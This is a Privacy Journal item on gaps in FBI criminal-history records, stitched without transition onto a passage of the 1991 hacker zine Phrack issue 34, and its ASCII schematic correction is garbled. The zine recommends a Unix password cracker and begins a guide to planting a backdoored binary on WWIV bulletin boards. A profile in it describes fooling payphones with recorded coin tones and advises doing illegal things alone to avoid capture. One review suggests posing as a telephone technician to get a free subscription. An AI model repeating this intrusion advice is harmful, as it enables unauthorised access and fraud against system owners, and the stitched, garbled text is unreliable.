10. FBI's Computerized Criminal Histories ‑‑ There are still "major gaps in automation and record completness" in FBI and state criminal records systems, the Congressional Office of Technology has reported in a study on "Automated Record Checks of Firearm Purchasers: Issues and Options." In the report, OTA estimates that a system for complete and accurate "instant" name checks of state and federal criminal history records when a person buys a firearm would take several years and cost $200‑$300 million. The FBI is still receiving dispositions (conviction, dismissal, not guilty, etc.) on only half of the 17,000 arrest records it enters into its system each day. Thus, "about half the arrests in the FBI's criminal history files ("Interstate Ident‑ification Index" ‑‑ or "Triple I") are missing dispositions. The FBI finds it difficult to get these dispositions." The OTA said that Virginia has the closest thing to an instant records chck for gun purchasers. For every 100 purchasers, 94 are approved within 90 seconds, but of the six who are disapproved, four or five prove to be based on bad information (a mix‑up in names, a felony arrest that did not result in conviction, or a misdemeanor conviction that is not disqualifying for gun ownership) (62 pages, $3 from OTA, Washington, D.C. 20510‑8025, 202/224‑9241, or U.S. Government Printing Office, Stock No.052‑003‑01247‑2, Washington, D.C. 20402‑9325, 202/783‑3238).

(Privacy Journal, August 1991, page 3)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Founded in 1974, Privacy Journal is an independent monthly on privacy in the computer age. It reports in legislation, legal trends, new technology, and public attitudes affecting the confidentiality of information and the individual's right to privacy.

Subscriptions are $98 per year ($125 overseas) and there are special discount rates for students and others. Telephone and mail orders accepted, credit cards accepted.

Privacy Journal

P.O. Box 28577

Providence, Rhode Island 02908

(401)274‑7861

________________________________________

34

- Introduction to Phrack 34 by Dispater & Crimson Death

- Phrack Loopback by Phrack Staff

- Phrack Prophile of The Disk Jockey by The Disk Jockey & Dispater

- The AT&T Mail Gateway by Robert Alien

- The Complete Guide to Hacking WWIV by Inhuman

- Hacking Voice Mail Systems by Night Ranger

- An Introduction to MILNET by Brigadier General Swipe

- TCP/IP by The Not

- Advanced Modem-Oriented BBS Security by Dead Cow & Laughing Gas

- PWN/Part01 by Dispater

- PWN/Part02 by Dispater

Introduction to Phrack 34

==Phrack Inc.==

Volume Three, Issue Thirty‑four, File #1 of 11

Issue XXXIV Index

__________

P H R A C K 3 4

October 13, 1991

__________

~Technology for Survival~

Welcome back to Phrack Inc. From now on, the editorship will consist of Crimson Death and Dispater. We have decided to join both our forces and pool our assets to make Phrack even better. We will have accounts at various Internet sites, however, all file submitions should be mailed to phracksub@stormking.com. If you do not have access to the Internet give Free Speech BBS a call. Crimson Death will take it from there.

Special thanks this month goes out to Night Ranger for being great help! Also thanks to Inhuman and Laughing Gas for taking the time to submit material.

Phrack has never really had a distrabution BBS, but you can always get it on the Internet at EFF.ORG or CS.WIDENER.COM. Off the Internet, the BBS distribution will be from Free Speech BBS. Below are a list of a few other boards that carry all the Phracks.

Free Speech BBS (618) 549‑4955 Blitzkreig BBS (502) 499‑8933 Digital Underground (812) 941‑9427 Pyrotechnic's Pit (407) 254‑3655

We would also like to thank the nameless numbers of BBS's out there that carry Phrack Inc. without their names being listed here!

In this issue of Phrack Inc. we are starting a "letters to the editor" section called "Phrack Loopback." Any questions, comments, corrections, or problems that you the reader would like to air with Phrack publically will be answered there. Loopback will also contain information such as reviews of other magazines, catalogs, hardware, and softare. With Loopback we hope to make Phrack Inc. more interactive with our readers.

This month we had an oportunity to interview one of our "hacker hero's", The Disk Jockey. We are also trying to "liven up" Phrack World News a little by adding some editor's comments about recent news topics. If we get a positive response, we will continue doing this. Hopefully you will respond with your views as well.

Your Editors,

Crimson Death Dispater cdeath@stormking.com phracksub@stormking.com

========================================

COMMENTS INSERTED BY SERVER:

As the server of the Phrack Mailing List, I'd like to get a few words in. First, since I am currently a VERY DUMB list server, I am currently not very interactive. I am working with the system administrators and owners to get an interactive "LISTSERV" onto this machine. I would also like to know if anyone can get me access to an IP address via SLIP at an Internet site VERY CLOSE to the Newburgh/Poughkeepsie, NY area. Another thing I could use is a Phrack SubBot for IRC. Something small that would allow you to get information on the release date of the next Phrack, add your name to the Mailing List, find out the Index of the last issue and such. I can handle awk, perl and 'C'. An IRC connection (Not the server software) would also be interesting. Another thing I heard of and am interested in is something that might start a seperate list. There is a game, where you write a program to make a robot to fight another programmed robot. You run these against each other to see who will win. You can then modify the code to try again. It needs to be compatible with an IBM Risc/6000 running AIX 3.1.5 running patch #2006. Help is also needed with SENDMAIL.CF configuration and etc. Basically, if you have something that the SERVER might be interested in, please mail "server@stormking.com". Also, if someone mentions that they are not receiving a copy when they asked to subscribe, anything that DOES bounce back here is automatically deleted. For example, if something comes back from SUSY.THUNDER@POKER.LASVEGAS.NV.CA (Susan Lynn Headley) and I am told that POKER.LASVEGAS.NV.CA is not connected to CYBERPUNK.HAFNER.MARKOFF.NY.NY I will NOT attempt to resolve the message.

Storm King List Server

========================================

________________________________________

Phrack XXXIV Table of Contents

=‑=‑=‑=‑=‑=‑=‑=‑

1. Introduction to Phrack 34 by Crimson Death & Dispater

2. Phrack Loopback by The Phrack Staff

3. Phrack Prophile of The Disk Jockey by The Disk Jockey & Dispater 4. The AT&T Mail Gateway by Robert Alien

5. The Complete Guide to Hacking WWIV by Inhuman

6. Hacking Voice Mail Systems by Night Ranger

7. An Introduction to MILNET by Brigadier General Swipe

8. TCP/IP: A Tutorial Part 2 of 2 by The Not

9. Advanced Modem‑Oriented BBS Security by Laughing Gas & Dead Cow 10. PWN/Part01 by Dispater

11. PWN/Part02 by Dispater

Phrack Loopback

==Phrack Inc.==

Volume Three, Issue Thirty‑four, File #2 of 11

^[‑=:< Phrack Loopback >:=‑]^

By: The Phrack Staff

Phrack Loopback is a forum for you, the reader, to ask questions, air problems, and talk about what ever topic you would like to discuss. This is also the place The Phrack Staff will make suggestions to you by reviewing various items of note; magazines, software, catalogs, hardware, etc.

________________________________________

What's on Your Mind

~~~~~~~~~~~~~~~~~~

>Date: Fri, 20 Sep 91 01:22:30 ‑0400

>To: phracksub@stormking.com

>

>So what exactly DID happen to Agent Steal? There was a small blurb in >PWN for 33, but gave no details. Why was he arrested, what was confiscated, >and how long will he probably be away for.

>

>Mind you, this is a tragic loss, since Agent Steal was a gifted hacker and >had a whole lotta balls to boot.

>

> Sincerely,

>

> A concerned reader

To be honest, it would not in his best interest to say much about his case before his trial. What we have written comes from a very reliable source. Some people close to him are denying everything. This is most likely to keep from happening to him what happened to people like Mind Rape, who have basically been "convicted" by the media.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

>From: Drahgon

>Date: Thu Sep 26 06:00:35 1991

>

> Dear Dispater,

>

> My name is Drahgon unless, of course. I have several things to blow > from my mind here....

>

> How is the progress of Phrack 33? I am not really up on all the > hoopla surrounding it, but I am curious. In high school I often > published "underground newsletters" about the manufacture of drugs and > explosives, etc. The computer underground is a new territory for me > and I have just begun. I would love to hear about your mag....I would > perhaps have something to offer.

We at Phrack Inc. are here to publish any kind of information you the reader are interested in. We, unlike many other people out there, will not judge you and can call you a "lamer" if you submit something to us that we might think is a little elementary. We might not necessarily run it in Phrack, but we aren't the kind of people that are going to call you up in the middle of the night on an Alliance Teleconference and harass you. In fact, there are many text files out there that are out‑dated and need to be corrected! Simply put, if you are interested in it, there are probably two hundred others out that are afraid to ask, because some El1Te person will call them "stupid." Here at Phrack Inc., WE ARE NOT El1Te, WE ARE JUST COOL AS HELL! We want to help everyone in their quest for knowledge.

> Secondly, I want to start my own bbs up here in my town. This > town is dead, but there is still a glint of life, it needs to be > kindled. There are currently no BBS's up here that carry information > of an "alternative nature", and there is in fact laws that prevent > them from springing up. (whatever happened to freedom of the press?), > Well, anyway, I would like to know if you would support a BBS of > mine, and maybe you could give me some pointers...

>

> Thanx ALOT

> DRAHGON

That's great! We're always glad to see new faces that are truly interested in helping people by becoming a source of information. If you have any questions about BBS's you should ask the expert, Crimson Death. He will be more than happy to help you out.

________________________________________

Corrections

~~~~~~~~~~

In V.3, I#33, File 9 of 13, there was a error. R5 Should have been a 10K pot and not just a resistor. The corrected part of the schematic should look like this:

_

+9__S1/ _____________________________________

| | | S3 |

R1 R2 | R3 o @ o |

|___C1___| _____| |_________|/__o \___ |

| ____|_____|_____|____

_| o | 6 4 14 | R4 |__ D1 | | R9< |

S2 | o _|5 13|_____| _| | |__ | |

| | | | R5< | _| | |

g |_|10 IC1 8|_ _| | | R8< | | | 556 | |__R6< g |__ | | |

_|9 12|_| _| | | |

| | | |__C2__g R7< | | |

| |_11___3___7___2___1__| | | | |

________________________________________

Hardware Catalog Review

~~~~~~~~~~~~~~~~~~~~~~

by Twisted Pair

You can never get enough catalogs. One reason is because you never know what off‑the‑wall parts you'll be needing. From time to time I'll be reviewing catalogs so you'll be able to learn where to get the really good stuff as far as computer equipment, telco test equipment, and IC chips are concerned. In this issue, we study two of them...

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

SYNTRONICS

2143 Guaranty Drive

Nashville, Tennessee 37214

(615) 885‑5200

I recently saw an issue of "Nuts and Volts" magazine which had a Syntronics ad in it. I sent the dollar they wanted for a catalog. Apparently, demand for the catalogs was so great that they're having some more printed up. They sent my dollar back with an explanation and a partial photocopy of the catalog. An associate on the left coast and I want to build a tone decoder and have been looking for a particular chip for a long time. We found it in this catalog. It's an SSI‑202 Tone Decoder IC for $12. Not bad for a chip I was unable to locate in about 30 catalogs I've searched through. A fellow phreak was told by a zit‑faced Radio Shack employee over their 800 number, "They had only 3 left and they would cost $100 each." I don't think so.

Syntronics is selling plans for an interesting device you hook up to the phone line. With it you can call it and turn on any one of three 110VAC outlets. To turn them on you use simple DTMF commands. This would be useful for turning on your computer, modem, room bug, security lights, etc from a remote location. Plans for this device cost $9 and you'd need the above‑mentioned IC chip to build it with.

Syntronics carries:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Project Plans Software Unusual Hardware Kits IC's Transistors

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Telephone International (The marketplace for

PO BOX 3589 communications equipment, Crossville, Tennessee 38557 services, and employment)

(615) 484‑3685

This is a monthly publication you can receive free. It's usually about 30 pages printed on large yellow‑pages paper. To save yourself the $50 a year first‑class yearly subscription rate, just tell them you're a telephone technician. Tell them you need to often buy PBX's, Terminal Blocks, etc. They'll send it to you free, because you're special!

Here's a sampling of stuff you can find in there:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A Complete Digital Switching System with 3200 lines on a flatbed trailer !!!!!!

Repaired Payphones Optical Fiber xmission system

Operator's Headsets CO Digital multiplexers

AT&T teletypes Used FAX machines

AT&T Chevy bucket trucks Hookswitches

Digital error message announcers Central Office Coin System Processor Cards

Telephone International lists a bunch of telco seminars happening around the country on their "Calendar of Events" page. They also list conferences for security organizations including dates and phone numbers you'd need to register.

That's it for this edition of Hardware Hacking. Keep an eye out for good suppliers to the Phreak world. Pass'em along to Phrack.

‑T_W‑I_S‑T_E‑D_

‑P_A‑I_R‑

________________________________________

A Review of the Killer Cracker V.7.0

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by The Legion of d0oDez

As every hacker worth his/her salt knows, the Unix operating system has major security problems when it comes to it's passwd file. Although this may be good as some people think information should not be hoarded, others think information should be kept to be people who can use it best, the one's with the most money. The passwd file is the Unix file that stores the user information which included username, home directory, and passwords among others. I will not go into the basics of Unix as this is not a Unix how‑to hack file. It is a review of Killer Cracker 7.0 (aka KC7.)

KC7 is a Unix password hacker that is portable to most machines. It is written by Doctor Dissector and is free software as the terms of the GNU General Public License (By the Free Software Foundation <address at end of file>) states. The version 7.0 is not the latest version but seems to be the best to use. It is dated as 6/1/91 which makes it pretty recent. 8.0 is rumored to be out but we have not had the opportunity to review it yet as we are still testing it. ;‑)

The best thing about KC7 is that you can run it on most machines that will run C programs which happens to include MS‑DOS machines. With this in mind, you can now let your PC do the work of hacking passwords in the privacy of your own home without having to use a mainframe which might be a bit risky. The distribution copy of KC7 comes with the following files:

KC.EXE ‑‑ MS‑DOS executable

KC.DOC ‑‑ Documents

Source.DOC ‑‑ The source code to KC

KC.C ‑‑ The Turbo C source code

And other files that pertain to DES and word files.

KC7 works by taking an ascii file composed of words and encrypting them so that it can compare the encrypted words with the passwords in the PASSWD file. It is pretty efficient but if running on an MS‑DOS system, you will probably want to use a machine that is at least a 286‑12 or higher. The time to complete a PASSWD file is directly proportional to how large the file is (max size of PASSWD must be less than 64K on an MS‑DOS machine) and what speed of machine you are using. There are options which allow you to take words (aka guesses) from other sources as well as a words file. These sources can be words from the PASSWD file such as the username, single characters, and straight ascii characters such as DEL or ^D. It can also manipulate the guesses in various ways which might be helpful in guessing passwords.

Another useful option is the RESTORE function. KC7 has the ability to allow the user to abort a crack session and then resume cracking at a later date. This is very nice since one does not always have the time nor patience to crack a 50k passwd file without wanting to use his/her machine for other uses such as trying out new passwords.

We have found that the best way, as suggested by the author, to crack is by using the default method which is to crack by word and not by username. You will understand when you get a hold of the software.

You can get KC7 at most H/P oriented bbs's as everyone thinks he/she is a Unix wizard nowadays.

Overall, KC7 is an excellent program and we suggest it to all Unix hackers. We also hope you have enjoyed this file and we look forward to bringing more interesting reading to your terminal. Until then.... Happy hacking.

Phrack Prophile of The Disk Jockey

==Phrack Inc.==

Volume Three, Issue Thirty‑Four, File #3 of 11

‑*[ P H R A C K XXXIV P R O P H I L E ]*‑

‑=>[ Presented by Dispater ]<=‑

The Disk Jockey

~~~~~~~~

Handle: The Disk Jockey (over 10 years now...) Call him: Doug

Reach him: douglas@netcom.com Past handles: None

Handle origin: Selected it way back in the Apple days, when it was hip to have a hardware‑related name. Date of Birth: 12/29/67

Age at current date: 23

Approximate Location: Silicon Valley Height: 6'1"

Weight: 220 lbs.

Eye color: Green

Hair Color: Blond/brown Education: Cornell, Univ of Michigan, Stanford, and a slew of others schools that I had the opportunity to attend. What started out as a strong belief in law became so jaded that I fell back on Comp Sci. Still wake up in the middle of the night yelling "NO!, NO!" Also have a wallpaper degree in Psychology. Computers: First: Apple //. Presently: several. Mac

IIfx, 386/33, and several others that I can't seem to get rid of...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Story of my Hacking Career

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

I was lucky enough to be able to get my hands on computers early, back in the days of the PET and the TRS‑80. Although we poke fun at a Trash‑80 now, at the time I was completely fascinated by it. Remember Newdos/80, LDOS, and utilities like SuperZap?

Things started really rolling after a friend introduced me to the Apple. Although I never fell into the stereotype of being a computer "nerd" (don't we all like to think that?), compared to the redundancy of normal schoolwork, learning about the Apple was a new and unexplored world. Unlike most of the other computer "types", I didn't read science fiction, didn't have any social problems, and thought looking at girls was more enjoyable than talking about hardware. Well, depending on the hardware. (ha‑ha!)

"Cracking" Apple software was of course the next logical step. The 6502 was a wonderful chip, and easy to learn. Copy‑cards and other "hacked" hardware was becoming findable and it was getting to the point that the only goal was to get your hands on pre‑release software. Before I had entered the "modem" world, friends had a network of other people across the country and traded things by mail.

Of course the whole world changed when I picked up a 300 baud modem. Suddenly there was the communication and knowledge that I had been hungry for. People wrote text files on just about everything imaginable. What is the president's phone number? How can I call the pope? How can I make lowercase on my Apple II? What are the routing numbers for boxing to the Eastern Bloc countries?

Codes were never much of an interest. The systems that ran them, however, were quite interesting. As technology advanced, SCCs started using sophisticated AI techniques to detect any kind of abnormal usage instantly. Codes used to last several months, now they only lasted a few hours. Boxing, however, was a little more elegant and was the flashy way to call your friends.

Even before I had ever heard of boxing or phreaking, I enjoyed the benefits of what we now know as a "red box". While in boarding school, I noticed that a somewhat broken phone emitted obscenely loud "beeps" when you dropped in a quarter. I took a little micro‑recorder and recorded myself dropping about $5.00 into the phone. When I played this back into the telephone, the telco thought I was actually dropping change in the machine! I was able to call my girlfriend or whomever and speak for hours. Now most payphones mute those tones so they are barely audible, if at all.

Local user groups were a good place to pick up software, legal and otherwise. Remember those damn "CLOAD" magazine tapes for the TRS‑80? 80‑Micro magazine? The early 80's was the time of the hardware hacker ‑ anything bizarre you wanted you had to make yourself, since it wasn't available otherwise. Now you can call any of a slew of 800 numbers, give them your credit card number (!) and have it on your doorstep the next day.

I think part of the problem of the "new generation" of hackers, phreakers, warez kids, etc, is that they never had the experience with low‑level stuff and actually having to into the hardware to get what they wanted. Their only programming experience is coming from school, which gives a shallow and usually totally impractical background for the "real world".

My eventual disgust with the pirate world came when products such as "Pirate's Friend" came out, allowing people to sector edit out my name and insert theirs. I had spent quite a lot of time trying to find new software, and enjoyed the ego stroke of having my name passed around. I had a lot of respect for book authors that were plagiarized after that...

About the industry

~~~~~~~~~~~~~~~~~

The computer industry in general is interesting. Working in it, I hope I'm justified to speak about it. Getting a job is quite easy, since the technology is changing so much, unless it is in something that will be around for some time, you can usually pick up a job by just knowing the latest developments, the buzzwords, and having good "chemistry". In the valley many firms realize that colleges don't really teach you much in the way of practical knowledge. At best, they give you the opportunity to try different types of machines. It amazes me that HR departments in companies across the country won't even look at a resume unless the applicant has a college degree. Advanced degrees are a different matter and are usually quite applicable towards research, but your usual BA/BS variety? Nah. If you want to make a lot of money in this industry, all you need to do is get the reputation as a person who "gets things done" and have superior communication skills. You can write your ticket after that.

About legal issues

~~~~~~~~~~~~~~~~~

Anyone who has ever read some of my later text files (1986, 1987) knows that I had no qualms about the legalities of beating an establishment. Although my line of morals was probably beyond where others placed theirs, I could always justify to myself damage or loss to an establishment, "beating the system", rather than hurting the individual. Although I am pretty right‑winged in beliefs, I have a great distrust for the policing agencies.

Various memories

~~~~~~~~~~~~~~~

Getting a call from my father while at school and being told that Control C had called him and relayed the message "Tell Doug the FBI are after The Disk Jockey. Get rid of everything and hide." To say I "cleaned house" would have been a gross understatement. I knew this was true, I, like many others, had just ridden on the false pretense that they would have better things to do then come after me. I later saw intelligence reports showing that I had been kept track of for some time. I was described as:

"Involved in some type of student‑loan scam through creating fictitious college applicants at his school. Very violent temper, ruthless attitude. Breaks people's legs for money (TX). Owns a motorcycle and a european sedan. Nasty hacker."

Only a handful of people would know that I had a motorcycle, so it was somewhat upsetting that they had this kind of information on me. I later saw some of this same information in Michigan Bell Security's records. They also had the correct phone number for my place at Cornell, my parents number, and even the number of some of my personal non‑computer related friends.

SummerCon in 1987 was a fun experience. I had the opportunity to meet many of the people that I communicated with regularly, as well as wonder why people thought St. Louis was such a wonderful place. While there were a few socially "on‑the‑fringe" types, I was amazed that most of the other "hackers" didn't fit the usual stereotypes. They were just regular guys that had a some above average cleverness that allowed them to see the things that others couldn't.

By the time I was 20 years old, I had about $40,000 worth of credit on plastic, as well as a $10,000 line of credit for "signature loans" at a local bank. The credit system was something that seemed fun to exploit, and it doesn't take long to figure out how the "system" works. With that kind of cash Aavailable, however, it's tempting to go and buy something outrageous and do things that you wouldn't normally do if you had the cash. This country is really starting to revolve around credit, and it will be very hard to survive if you don't have some form of it. If more people were aware of how the credit systems worked, they might be able to present themselves in a better light to future creditors. I don't think that credit is a difficult thing to understand, I just had an unusual interest in understanding and defeating it. Perhaps this is something that my future text files should be about.

Getting busted

~~~~~~~~~~~~~

On June 27, 1988 at 1:47am, I had just parked my car outside my apartment and was walking up to the door when I heard someone say "Doug?" I knew that no friend of mine would be visiting at that hour, so I knew my fate before I turned around. An FBI agent, State police detective and a local detective were walking up to me. "We have a warrant for your arrest." Interestingly, they had actually several warrants, since they weren't sure what my name was. I was being arrested for 6 counts of "conspiracy to commit fraud". After being searched to make sure I wasn't carrying a gun, they asked if they could "go into my apartment and talk about things". Although I had completely "cleaned house" and had nothing to hide in there, I wasn't about to help out an investigation on me. "Ah, I think I had better contact an attorney first." "Is there one you can call right now?" "Are you kidding? It's 2:00am!"

I was handcuffed and had my legs strapped together with a belt and was thrown in the back of a car. This was one of those usual government cars that you see in the movies with the blackwalls and usual hubcaps. Interestingly enough, the armrest of the car hid quite an array of radio equipment. Although pretty freaked out, I figured the best thing to do at that point was try to get some sleep and call the best attorney money could by in the morning.

Little did I know where I was being brought. I was driven all the way to a small Indiana town (population 5,000) where a 16 year‑old Wheatfield Indiana boy had made the statement that he and I "agreed to devise a scam". Although nothing was ever done, merely planning it created the conspiracy charge.

I figured that after my arraignment I could post bail and find an attorney. I had almost $10k in the bank and could probably find more if I needed it. I was sadly mistaken. The next day at my arraignment the charges were read and bail was set ‑‑ $150,000.00, cash only!

In a strange turn of events, the FBI decided to totally drop the case against me. The federal prosecutor figured it wasn't worth wasting his time and they jumped out. However, the Indiana state police were involved in my arrest and were angry that the FBI was dropping the case after they had invested so much time and money in the case, so they decided to pursue the case themselves. There is so much friction between the FBI and state police, that the FBI didn't even answer their letters when they tried to request information and data files on me.

Funny. I spent 6 months in a tiny county jail, missing the start and first semester of school. I was interrogated constantly. I never told on a sole and never made a statement about myself. I sat in jail daily, reading books and waiting for my court dates. Although I never expected it, nobody ever thanks you when you keep your mouth shut. I can't imagine that many people would sit in jail for a long time in order to save their friends. Perhaps it's a personal thing, but I always thought that although I doubt someone else would do it for me, I would never, ever tell anything on anyone else. I would never be responsible for someone else's demise. It took a lot of money, and a lot of friday nights of frustration, but I walked away from that incident without ever making a statement. It was at a time when my "roots" were deepest and I probably could have really turned in a lot of other people for my benefit, but it was at a time in my life where I could afford to miss some school and the integrity was more important to me. There were a lot of decisions that had to be made, and spending time in jail is nothing to be proud of, but I never backed down or gave in. It did provide the time for me to really re‑evaluate who and what I was, and where I was going.

People I've known

~~~~~~~~~~~~~~~~

Compaq Personal friend for some time now.

Control C Mostly likely the craziest guy I've ever met. Really nice guy.

Knight Lightning Would call me up in the middle of the night and want to discuss philosophical and social issues. Kind of guy I would probably get along with outside of computers as well.

Loki Friend since high school. Made a big splash in the h/p world, then disappeared from it. He and I (and Control C) drove to SummerCon together.

Shooting Shark Great guy who used to be into calling bridges and would yell "Hey, I'm paying for this!" Truly one of the only people that I ever knew that didn't do anything blatantly illegal. Most of our email was over the optimization of crypt. The Mad Alchemist Sysop of Lunatic Labs, one of the only boards that I feel is worth the telephone call anymore. He has given me a lot of slack and runs a BBS that picks up some of the most obscure information. A sysop that others should be judged by.

Tom Brokaw Personal friend since childhood that stood by me through thick and thin, bailing me out of trouble time and time again. I can never thank him enough for being a true friend.

BBSs

~~~

More than I could mention here. A few more recent notables ‑‑

Atlantis Although run on an Apple, the Lineman had this system so slick and customized that it became the standard that a lot of the PC based boards were created with. It was the first real "clearinghouse" for text files.

Free World II Run by Major Havoc and myself, this was an incredibly robust system, and was one of the first to be run on a US Robotics HST. Although it was primarily a discussion board, the file areas offered some of the best files ‑‑ virtually no games, but about every real utility and the like.

Metal AE 201‑879‑6668 ‑ this was a true blue AE line that was around for like 5 or 6 years and was ALWAYS busy. Had all of the original cDc and other bizarre text files, occasionally some new Apple warez.

Lunatic Labs Still up and still great.

Metal Shop Private Perhaps one of the best boards of all time. Run by Taran King and had a healthy, yet secure userlog. It was a closed system, the only way to get on was to know somebody. Everyone on the system knew each other in some sense.

World of Cryton One of the first boards to have a "philter" and to really push the messages as far as codes, accounts, card numbers, etc. This was also the demise, along with many of the 414 hackers.

Misc

~~~

2600 Magazine How could I not like a magazine that published articles I wrote? This really is a great magazine and anyone who is interested in computers, privacy, or cyber‑issues in general should subscribe.

Fame...? Was in the movie "Hoosiers" (thanks for bringing that up, Shark!), even though I'm not a basketball fan. Met Dennis Hopper, etc. Went to school with a lot of famous people's kids. Most have some pretty serious problems. Be glad you are who you are.

Marriage...? I'm single and will do everything I can to stay that way. When people ask me about getting married I tell them that the idea of car payments scare me. I enjoy having girlfriends, but I've become too independent. I still run around at bars until sometimes 3:00am or so, but still manage to spend about 50 or 60 hours a week at work. Even if I cut out the bar scene, I wouldn't have much time to spend with someone else on a daily basis.

Advice If you ever get into doing illegal things, make sure you do them by yourself. Your chances of getting caught when you do things solo and resist the temptation to "brag" about them is minimal. When someone else knows about what you have done, it doesn't matter how good of a friend they are. If they get into trouble, you are going to the sacrificial lamb when it comes to negotiating their freedom. Even the strongest willed individuals seem to crumble when questioned by police. Groups are bad news. There are very little advantages to being in a group and all it does is increase your personal risk by multitudes. Cracking groups aren't nearly as dangerous, but they DO bring boards down. Look to the fate of groups such as LOD for examples of group fate. Lex Luthor, perhaps one of the most elusive and private hackers of all time was the one to bring down the rest of the group. This was tough for me, as many of the members were people I talked with and could really feel for.

Don't get discouraged in life if you feel that you are behind the rest because you don't come from a rich family or have the best equipment. I left home when I was 17 years old, keeping only minimal contact with my parents since then and lived life pretty well, using my abilities to "smooth talk" and pure enthusiasm to walk into about any job. Don't put people down ‑‑ everyone has something to teach you, even the bum on the street might be able to tell you how to make some free phone calls! There is a wealth of information to be found via Usenet, text files, or even your school or public library. Stay informed and well read.

Email I always enjoy hearing from people. Reach me via the Internet at douglas@netcom.com, or on Lunatic Labs BBS.

The AT&T Mail Gateway

==Phrack Inc.==

Volume Three, Issue Thirty‑four, File #4 of 11

____________

||

|| The AT&T Mail Gateway ||

||

|| December 19, 1990 ||

||

|| by Robert Alien ||

||____________

The Internet Gateway

~~~~~~~~~~~~~~~~~~~

The Internet Gateway provides Internet e‑mail users with a method of communication to AT&T Mail. The Interconnect consists of various private email networks and uses an addressing format better know as Domain Addressing Service (DAS).

A domain address consists of a user name, followed by an @ sign and/or % sign and a domain name, which is usually the system name.

Example:

jdoe@attmail.com

Sending Email to Internet Users

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To send email from the AT&T MailService to the Internet community use the UUCP addressing style.

Example:

internet!system.domain!username

Translates to:

internet!gnu.ai.mit.edu!jdoe

If you are sending e‑mail to an Internet user whose e‑mail address may be in the RFC 822 format (user@domain), you must translate the RFC address before sending your message to an Internet recipient.

username@system.domain (Internet user's address)

internet!system.domain!username (to a UUCP address)

Example:

username%system2@system.domain (Internet user's address)

Translates to:

internet!system.domain!system2!username

Sending Email From The Internet

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To send email to the AT&T Mail Service, Internet users can choose either the RFC 822 or UUCP addressing style. The Internet recognizes attmail.com as the domain identifier for AT&T Mail when electronic messages are sent through the gateway. Although many Internet users choose to send e‑mail using the RFC 822 addressing style, the UUCP style is also available on many UNIX systems on the Internet, but not every system supports UUCP. Below are examples of both addressing styles:

RFC 822 Addressing: username@attmail.com

Example:

jsmith@attmail.com

UUCP Addressing: attmail.com!username

Example:

attmail.com!jdoe

Although email can be sent through the Internet gateway, surcharged services, such as Telex, FAX, COD, U.S. Mail, overnight, urgent mail and messages destined to other ADMDs connected to AT&T Mail are not deliverable. If you are an Internet e‑mail user attempting to use a surcharged service and are not registered on AT&T Mail, you will not be able to send your message, and will be automatically notified. Below is a list of surcharged services that are unavailable to Internet users.

* FAX

* Telex

* COD

* U.S. Mail

* Overnight

* Administrative Management Domain (ADMD) Messages

Sending Email to Bitnet Users

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To send email to BITNET users from AT&T Mail, enter:

internet!host.bitnet!user

Sending Email to UUNET Users

~~~~~~~~~~~~~~~~~~~~~~~~~~~

To send email to UUNET users from AT&T Mail via the Internet Gateway, enter:

attmail!internet!uunet!system!user

Internet Restrictions

~~~~~~~~~~~~~~~~~~~~

The following commercial restrictions apply to the use of the Internet Gateway.

* Users are prohibited to use the Internet to carry traffic between commercial (for profit) electronic messaging systems.

* Advertising and soliciting i.e., messages offering goods or services for sale or offers of jobs.

* Provision of for‑profit service, other than electronic messaging to Internet users, is permitted (e.g., database services) if such service is used for scholarly research purposes and its costs are borne by individual or institutional subscription.

The Complete Guide to Hacking WWIV

==Phrack Inc.==

Volume Three, Issue Thirty‑four, File #5 of 11

***

***

*** The Complete Guide ***

*** to Hacking WWIV ***

***

*** by Inhuman ***

*** September 1991 ***

***

***

WWIV is one of the most popular BBS programs in the country. With thousands of boards in WWIVnet and hundreds in the spinoff WWIVlink, there is a lot of support and community. The nice thing about WWIV is that it is very easy to set up. This makes it popular among the younger crowd of sysops who can't comprehend the complexities of fossil drivers and batch files. In this file, I will discuss four methods of hacking WWIV to achieve sysop access and steal the user and configuration files. Just remember the number one rule of hacking: Don't destroy, alter, or create files on someone else's computer, unless it's to cover your own trail. Believe me, there is nothing lower than the scum who hack BBSes for the sheer pleasure of formatting someone else's hard drive. But there is nothing wrong (except legally) with hacking a system to look at the sysop's files, get phone numbers, accounts, etc. Good luck.

***

*** Technique #1: The Wildcard Upload

***

This technique will only work on a board running an unregistered old version of DSZ and a version of WWIV previous to v4.12. It is all based on the fact that if you do a wildcard upload (*.*), whatever file you upload will go into the same directory as DSZ.COM, which is often the main BBS directory. So there are several methods of hacking using this technique.

If the sysop is running an unmodified version of WWIV, you can simply compile a modded version of it with a backdoor and overwrite his copy. Your new copy will not be loaded into memory until the BBS either shrinks out (by running an onliner or something), or the sysop terminates the BBS and runs it again.

